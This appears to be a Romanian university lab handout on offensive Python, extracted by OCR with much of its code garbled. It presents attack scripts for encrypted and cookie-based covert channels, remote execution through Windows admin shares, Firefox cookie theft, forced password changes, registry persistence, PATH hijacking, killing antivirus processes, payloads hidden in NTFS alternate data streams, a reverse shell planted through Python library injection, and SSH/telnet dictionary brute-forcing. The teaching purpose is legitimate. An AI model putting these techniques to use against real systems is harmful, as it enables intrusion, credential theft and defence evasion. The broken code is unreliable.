Laborator 3
Dezvoltare aplicatii pentru RBW

Comunicarea prin canale cifrate

Dupa cum stiti deja in Python existd mai multe biblioteci care oferd suport pentru operatii de criptare sau de

decriptare. Este evident cd intr-un caz real nici un atacator adevarat nu va utiliza aceste biblioteci ci se va

baza pe abordari proprii pentru securizarea canalului de cautare. Oricum ar fi comunicarea prin canale

criptate este necesara si ca atare vom prezenta un exemplu simplu de componente client server care sa ofere

aceste abilitati utilizdnd AES-ul pentru cifrarea canalului. Vom utiliza functionalitdti din modulul
ptodome. Mai jos avem prezentat clientul care va trimite un mesa;.

socket, os
Crypto.Cipher

key = b"cheie pe 16 biti"
encrypt(datakey,iv):

data +=" "% (data) % 16)
cipher = AES.new(key AESMODE_CBC,iv)
cipher.encrypt( (data )
message =
socket.socket(socket AF_INET, socket SOCK_STREAM)
s.connect((host,port))
iv = os.urandom(16)
s.send(iv)
s.send( ([len(message)]))
encrypted = encrypt(message key,iv)
( % encrypted.hex())
s.sendall(encrypted)
Dupa cum se observa s-a folosit de test adresa locala - evident cé trebuie modificat fie ca modul/functie fie

ca aplicatie de sine stdtitoare si sa primeasca adresa, cheia si mesajul ca parametri (in linie de comanda sau

socket
Crypto.Cipher

key = b"cheie pe 16 biti"
decrypt(datakey,iv):
cipher = AES.new(key AESMODE_CBCiv)
cipher.decrypt(data)
socket.socket(socket AF_INET socket SOCK_STREAM) as s:
s.bind((host port))
slisten()
(conn, addr) = s.accept()
conn:

iv = conn.recv(16)

length = conn.recv(1)

data = conn.recv( )
data:

%decrypt(data key,iv).decode(
Serverul va trebui sa fie la fel modificat pentru utilizare extinsa.
Acum putem trece la ceva o idee mai avansat si anume utilizarea tunelurilor in retelele de comunicatie.
Pentru simplitate vom prezenta o metoda potrivitd pentru serverele de web si anume transmitere de date si




control printr-un tunel bazat pe cookie. Mai jos avem prezentat codul pentru client unde trebuie sa addugam

la proiect si modulul requests pentru utilizare.

requests
basebts bb64encode bb4decode

AjutorBucatar(url data):
response = requests.get(url ={ : b64encode(data)})
(bé4decode(response.content))

url =
data = (
AjutorBucatar(url data)
Se observa ca pentru a nu iesi In evidentd pe o masind care mentine un server web s-a folosit tot codarea
Base64 care este comuna si la prajiturelele cifrate in rest nimic deosebit.
Pentru programul pentru server daca face fite este nevoie de httpserver dar ar trebui sa nu fie cazul.

http.server BaseHT TPRequestHandler, HTTPServer
baseb4 b64decode bb4encode

Bucatar(BaseHTTPRequestHandler):
do_GET(self):

data = b64decode(self.headers[ 1.decode( d.rstrip()
( %data)
data ==
response = bé64encode(
send_response( )
end_headers()
wfilewrite(response)

send_error(404)
__name__ == :
hostname =
port =
webServer = HTTPServer((hostname, port),Bucatar)

webServer.serve forever()

webServer.server close()
Se observa faptul ca este vorba despre un server simplu care raspunde numai la cereri simple si se uitd dupa
un mesaj particular si anume "Mesaj de la bucatar" si doar atunci face ceva.

Gadilirea zonelor comune ale admistratorului windows

Pentru acest exemplu este necesar python >= 3.9.7
os, winreg, shutil

enableAdminShare(computerName):

regpath =

winreg.ConnectRegistry(computerName, winreg.HKEY _LOCAL_MACHINE)
winreg.OpenKey(reg, regpath =winreg.KEY_WRITE)
winreg.SetValueEx(key winreg.REG_DWORD, 1)

accessAdminShare(computerName, executable):
remote = + computerName +

local =

remotefile = local + + executable

os.system( + local +"" + remote)
shutilmove(executable, remotefile)

os.system( + remotefile)

0s.system( + local +

accessAdminShare(os.environ[




Se observa ca ii trimitem un program vizitator :). Acest lucru este posibil deoarece prin program am activat
admin shares si am accesat de la distantd toate zonele comune ale administratorului care sunt disponibile.
Astfel programul deschide un admin share, copie un executabil, in cazul nostru vizitator, il executa si apoi il
sterge de pe disc.

Proramul vizitator de test oate fi ceva de enul:

Deturnarea (hijacking) prajiturelilor

Prajiturelile sesiunilor web sunt implict pastrate in zona utilizatorului si astfel pot fi accesate daca exista
nivel de acces similar acestuia. Informatiile despre ele sunt pastrate intr-o baza de date SQLite numita
cookies.sqlite din tabela cu numele moz_ cookies. Prin analiza aceste baze de date devine posibil sa se
localizeze si sa se extragd acele cookies asociate cu servicii comune (de ex. Amazon, Google, Microsoft,
Facebook si Github). Astfel prajiturelele incluse in dictionarul numit cookies vor contine informatiile de
autentificare ale looser-ului pentru respectivele servicii. Mai jos aveti un exemplu simplu care face acest

sqlite3,0s

os.path.join( profile

conn = sglite3.connect(firefoxPath)
C = conn.cursor()
c.execute(

data = c.fetchall()
cookies = {

:[l

cookie in data:
domain in cookies:
cookie[4].endswith(domain) cookie[ 2] in cookies[domain]:
( % (cookie[4], cookie[ 2],cookie[3][:20]))

Viata grea pentru (loo)user

Din Python se pot face si astfel de maruntisuri (dar care pot face probleme majore unui furnizor de servicii)
cum ar fi stergerea accesului la contul utilizatorului. Se poate face soft - ii schimb parola sau hard i sterg
contul. Din nefericire merge foarte bine si pe Linux. Aceasta actiune este posibild deoarece Python-ul are
toate bibliotecile necesare. Codul prezentat mai jos merge (desigur cu drepturile necesare) pe ambele
sisteme de operare.

platform

setWindowsPassword(username,password):
win32com adsi
ads_obj = adsiADsGetObject( %username)
ads_obj.Getinfo()
ads_obj.SetPassword(password)
setLinuxPassword(username
0s.system( % username)




changeCriteria(username):
username in [

platform.system() ==
wmi
w = wmiWMI()

user in w.Win32_UserAccount():

username = userName
changeCriteria(username):

( %username)
setWindowsPassword(username

oWe
p in pwd.getpwall(:
p.pwd_uid == p.pw_uid >
username = p.owd_name
changeCriteria(username):
¢ %username)
setlinuxPassword(username )

Se observa ca se verifica care este sistemul de operare gazda apoi se schimba parola.

Totusi ar fi bine sa putem sd descoperim rapid care conturi exista pe masina tintd. Microsoft a fost gandit ca
un sistem de operare pentru administratori slab pregétiti in majoritatea cazurilor (deci mai prost platiti) iar
pentru aceasta a dezvoltat multe instrumente care automatizeaza si ascund operatii complexe. Unul dintre ele
este interfata de administrare Windows Management Instrumentation (WMI) care este de fapt tot o colectie
de script-uri. Evident ca Python ne pune la dispozitie un modul (numit tot wmi - poate 1l instalati totusi!)

pentru a accesa direct aceasta interfata.
oS, wmi

group in w.Win32_Group():
group.Name ==
admins = [a.Name a in group.associators(

user in w.Win32_UserAccount():
% user.Name)
% (userName in admins))
% user.Disabled)
% user.LocalAccount)
% user.PasswordChangeable)
% user.PasswordExpires)
% user.PasswordRequired)

N

(

(0s.system(
Se observa ca se obtin informatii despre politicile de parole care usureazd uneori ghicirea parolei din sistem.

Analiza primara de fisiere in windows

Python (vezi anul II) poate utiliza expresii regulate peste un sistem de fisiere. Acest lucru ne permite o
abordare brutd dar destul de primitiva daca doresc sa caut un anumit set de informatii personale prin fisierele
sistem sau ale looser-ului. Expresiile regulate din cazul exemplului de mai jos sunt utilizate pentru a cauta
adrese de e-mail, numere de telefon, numere de securitate sociald in fisiere MS Office. Nu uitati ca regex-ul
este puturos asa cd mai bine un mic calcul functional daca am nevoie de viteza.

0s, re
zipfile ZipFile




regexes = [email_regex, phone_regex, ssn_regex]

findPll(data):
matches =[]
regex in regexes:
m = refindall(regex, data)
matches +=m
matches
printMatches(filedir, matches):
(matches) >
(filedir)
match in matches:
(match)
parseDocx(root, docs):
doc in docs:

filedir = os.path.join(root, doc)
ZipFile(filedir, "r'") as zip:
data = zip.read(
matches = findPll(data.decode(
printMatches(filedir, matches)
parseText(root, txts):
txt in txts:
filedir = os.path.join(root, txt)
(filedir, "r'") as f:
data = fread()
matches = findPll(data)
printMatches(filedir, matches)
txt_ext=[ ]
findFiles(directory):
root, dirs, files in os.walk(directory):
parseDocx(root, [f fin files if fendswith( D
ext in txt_ext
parseText(root, [f fin files if fendswith(ext)])
directory = os.path.join(os.getcwd() )
findFiles(directory)

Cum riméane agatat un sistem?

Am discutat cd ar trebui ca un payload sd ramana (persistenta acestuia) activ in sistemul tinta chiar dupa o
repornire. Evident ca in cazul amicului Windows este o treaba simpla - vezi observatiile de la wni.

Ca rezultat se poate modifica rapid zona de autorun din registrul Windows-ului pentru a ne asigura
relansarea automata pentru aplicatiile injectate (si uite asa apar zombii). Pentru aceasta se va folosi modul
winreg din Python. Mai intdi se creeazd un executabil Windows dintr-un fisier Python cu ajutorul lui

pyinstaller (poate totusi il adaugati la proiect).

Pylnstaller. . _main__
shutil




pwd = os.getcwd()
usbdir = os.pathjoin(pwd
os.path.isfile(exename):
os.remove(exename)

Pylnstaller.__main__.run([

+exename
+icon

1)

shutil.move(os.path.join(pwd exename),pwd)

os.remove(exename-+
Acum cd avem executabilul creat trebuie sa il introducem in zona de executie automatd din registrul
Windows-ului. Aici avem nevoie de modulul winreg (python >=3.9.7)

0s, shutil, winreg

filedir = os.path.join(os.getcwd()
filename =
filepath = os.path.join(filedir filename)
os.path.isfile(filepath):
os.remove(filepath)

0s.system(

shutil. nove(filename filedir)

regkey =
regkey <
reghive = winreg.HKEY CURRENT _USER

reghive = winreg.HKEY _LOCAL_MACHINE
(regkey % 2) ==
regpath =

regpath =

reg = winreg.ConnectRegistry( reghive)
key = winreg.OpenKey(reg,regpath =winreg.KEY_WRITE)
winreg.SetValueEx(key winreg.REG _SZ filepath)




Deturnarea fluxului de executie
In MITRE ATT&CK framework sunt prezentate vreo zece abordari. O parte se referd la prietenul Windows.
Deoarece am vazut ca am acces la registrul Windows-ului devine clar ca se pot inlocui cdile implicite catre
unele executabile cu altele spre aplicatiile instalate de mine care ulterior sa apeleze si aplicatia initiala pentru
a nu da de banuit.

0s, winreg

readPathValue(reghive, regpath):

reg = winreg.ConnectRegistry( reghive)

key = winreg.OpenKey(reg, regpath =winreg.KEY_READ)
index =

val = winreg.EnumValue(key, index)
val[0] ==
val[1]

index +=
editPathValue(reghive, regpath, targetdir):
path = readPathValue(reghive, regpath)
newpath = targetdir + " + path
reg = winreg.ConnectRegistry( reghive)
key = winreg.OpenKey(reg, regpath =winreg.KEY_SET_ VALUE)
winreg.SetValueEx(key winreg.REG_EXPAND _SZ, newpath)

targetdir = os.getcwd()

reghive = winreg.HKEY _LOCAL_MACHINE
regpath =
editPathValue(reghive, regpath, targetdir)

Ce putem face cu unele programe care ne deranjeaza :)
Pe multe sisteme si in multe cazuri respectivele aplicatii rezidente (antivirus antimalware sisteme de
urmadrire si jurnalizare etc) pot fi omorate pe tacute astfel incat sa mi pot face in liniste treaba. Ba daca
extind unele aplicatii de aici se pot schimba niste drepturi astfel incat sd le omor si pe cele care teoretic au
masuri suplimentare de protectie impotriva acestei abordari.

winreg,wmi,os,signal
av_list =[ ]

reghives = [winregHKEY LOCAL_MACHINE, winregHKEY _CURRENT _USER]
regpaths =
[
]
reghive in reghives:
regpath in regpaths:
reg = winreg.ConnectRegistry( reghive)
key = winreg.OpenKey(reg,regpath,0,access=winreg.KEY_READ)

index =

val = winreg.EnumValue(key,index)
name in av_list:




name in val[1]:
print( % val[0])
key? = winreg.OpenKey(reg,regpath,0,access=winreg.KEY_SET_VALUE)
winreg.DeleteValue(key2 val[0])
index +=
OSError:

&

f = wmiwWMI()
process in fWin32_Process():
name in av_list:
name in process.Name:
osKill(int(process.processld),signal SIGTERM)

Se observa ca le caut (aplicatiile din listd) le sterg din zona de pornire automata aflata in registrul Windows
si apoi le omor in sesiunea curenta.
In lista de aplicatii am considerat notepad++ ca fiind tintd tocmai pentru a perturba aplicatiile reale.

Cum ascundem un program rau
Pentru a evita supraincarcari continui multe sisteme de sigurantd utilizeaza numai o listd de directoare pentru
cautari curente si astfel daca ascundem 1in alta parte Incarcaturile noastre (payload) existd sansa ca sa treaca
uneori mult timp pana acestea sa fie detectate. Pentru aceasta se pot utiliza si Alternate Data Streams (ADS)
care sunt atribute de fisiere specifice NTFS. Acestea permit unui singur fisier sa contind diferite fluxuri de
date sau chiar bucati (chunk) de date. In aceasta situatie numai sirul primar de date este afisat in lista
directoarelor. Mai jos aveti un exemplu simplu care permite interactiunea cu un continut pastrat in ADS.
0s
builldADSFilename(filename, streamname):

filename+""+streamname
decoy =
resultfile = buildADSFilename(decoy
commandfile = buildADSFilename(decoy

(commandfile,"r")
line in c:
(os.system(line + + resultfile))

SEIIEE
exepath = os.path.join(os.getcwd(),buildADSFilename(decoy,exefile))
0s.system( +exepath)

Cum pot obtine mai multe drepturi (privilege escalation)?
Desi sunt multe metode acesta este doar un curs introductiv asa cd ma voi limita la exemple simple. Cea mai
banald abordare porneste de la faptul cda Windows-ul suportd lansarea de script-uri particularizate in
momentul intrdrii fiecarui utilizator in sistem. Evident cad acest lucru poate fi folosit si pentru cresterea
drepturilor la nivel de sistem pentru respectivul utilizator. Dupa cum era deja de asteptat se va utiliza tot
minunatul registru (oala comund) al Windows-ului. Mai jos aveti un exemplu despre cum se poate realiza
asa ceva.
0s, shutil, winreg
filedir = os.pathjoin(os.getcwd()
filename =
filepath = os.pathjoin(filedir filename)
os.path.isfile(filepath):
os.remove(filepath)

0s.system(




shutil. nove(filename filedir)

reghive = winreg. HKEY _USERS
regpath =

reg = winreg.ConnectRegistry( reghive)

key = winreg.OpenKey(reg,regpath =winreg.KEY_WRITE)
winreg.SetValueEx(key winreg.REG _SZ filepath)

Se observa ca maniera de crestere a drepturilor trebuie sa o dezvoltati voi (mai sdpati un pic :) )

Cum introducem (injection) ceva in bibliotecile Python (tot il iubeste lumea)?

Dupa cum stim deja In Python nu este necesar sd importam bibliotecile utilizdnd calea absoluta ci numai
numele si apoi Python cautd intr-o serie de locatii predefinite o copie a respectivei biblioteci. Aceasta
abordare poate fi usor exploatatd daca un atacator poate introduce o versiune modificatd a unei librarii mai

sus 1n arborele de cautare si astfel aceasta va fi utilizata.
pibliotecabuna

¢ )

Codul de mai sus arata un exemplu de script vulnerabil. El importa bibliotecabuna ceea ce face ca Python sa
caute acel nume 1n sistem. Iar In bibliotecabuna.py putem avea de exemplu:

socket

subprocess

(ON)
s = socket.socket(socket AF _INET, socketSOCK STREAM)
s.connect((

subprocess.call([

Cum pot descoperi conturi implicite prin acces ssh
Este o metoda brutald usor de detectat daca se respectd in configurari tot ce discutam la curs. Se bazeaza pe
ssh si telnet (moartea in casa) si este bazata pe metoda dictionarului (se gasesc daca cdutati dictionare de
mari dimensiuni) care desi este zgomotoasa si pare depasitd fara a mai aplica combinatii cu tehnici de 1A din
nefericire datoritd comportamentului bdietilor din Idiocracy poate avea rezultate spectaculoase la nivel de
utilizator comun.

telnetlib

paramiko

SSHLogin(host, port, username, password):

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host =port =username =password);
ssh_session = ssh.get_transport().open_session()
ssh_session.active:
¢ % (host, port, username

password))

( % (username, password))
ssh.close()
TelnetLogin(host, port, username, password):
h= + host + " + port +
tn = telnetlib. Telnet(h)
tn.read_until( )




tn.write(username +
tn.read_until(
tn.write(password +

result = tn.expect([
(result[0] > 0):
(
% (host, port, username
password))
tn.close()

% (username, password))

¢
line in f:
vals = line.split()
username = vals[O].strip()
password = vals[1].strip()
SSHLogin(host, port, username, password)
TelnetLogin(host, port, username, password)
Se observa ca se folseste modulul paramiko pentru a gestiona conexiunea ssh. Acesta permite sa se testeze
intai daca conexiunea este activa. Pentru telnet se va utiliza modulul telnetli. Aici deoarece nu avem un test
echivalent pentru succes atunci se va cauta un sir continand “last login” care apare pe unele sisteme linux
odata executata cu succes intrarea in sistem fapt care este destul de limitativ. Abordarea poate fi usor extinsa
pentru a suporta autentificare prin intermediul unei pagini web.

Teme Rescrieti exemplele utilizind, cpp sau dot net in cazul windows-ului (pentru linux este mai
complicat dar fara un selinux activ si bine configurat nu este imposibil



